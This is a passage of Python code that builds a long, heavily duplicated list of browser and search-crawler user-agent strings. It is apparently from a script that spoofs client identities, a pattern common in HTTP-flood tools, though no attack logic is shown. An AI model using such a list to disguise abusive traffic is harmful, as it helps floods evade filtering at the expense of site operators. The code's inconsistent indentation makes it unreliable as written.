  1780.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1781.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1782.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1783.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1784.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1785.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1786.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1787.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1788.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1789.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1790.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1791.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1792.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1793.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1794.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1795.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1796.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1797.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1798.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1799.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1800.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1801.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1802.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1803.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1804.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1805.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1806.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1807.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1808.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1809.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1810.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1811.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1812.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1813.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1814.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1815.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1816.         headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1817.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1818.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1819.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1820.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1821.         headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1822.         headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1823.         headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1824.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1825.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1826.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1827.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1828.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1829.         headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1830.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1831.         headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1832.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1833.         headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1834.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1835.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1836.         headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1837.         headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1838.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1839.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1840.         headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1841.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1842.         headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1843.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1844.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1845.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1846.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1847.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1848.         headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1849.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1850.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1851.         headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1852.         headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1853.         headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1854.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1855.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1856.         headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1857.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1858.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1859.         headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1860.         headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1861.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1862.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1863.         headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1864.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1865.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1866.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1867.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1868.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1869.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1870.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1871.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1872.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1873.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1874.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1875.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1876.         headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1877.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1878.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1879.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1880.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1881.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1882.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1883.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1884.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1885.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1886.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1887.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1888.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1889.         headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1890.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1891.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1892.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1893.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1894.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1895.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1896.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1897.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1898.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1899.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1900.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1901.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1902.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1903.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1904.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1905.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1906.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1907.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1908.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1909.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1910.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1911.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1912.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1913.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1914.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1915.         headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1916.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1917.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1918.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1919.         headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1920.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1921.         headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1922.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1923.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1924.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1925.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1926.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1927.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
  1928.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1929.         headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1930.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1931.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1932.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1933.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1934.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1935.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1936.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1937.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1938.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1939.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1940.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1941.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1942.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1943.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1944.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1945.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1946.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1947.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1948.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1949.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1950.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1951.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1952.         headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1953.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1954.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1955.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1956.         headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1957.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1958.         headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1959.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1960.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1961.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1962.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1963.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1964.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
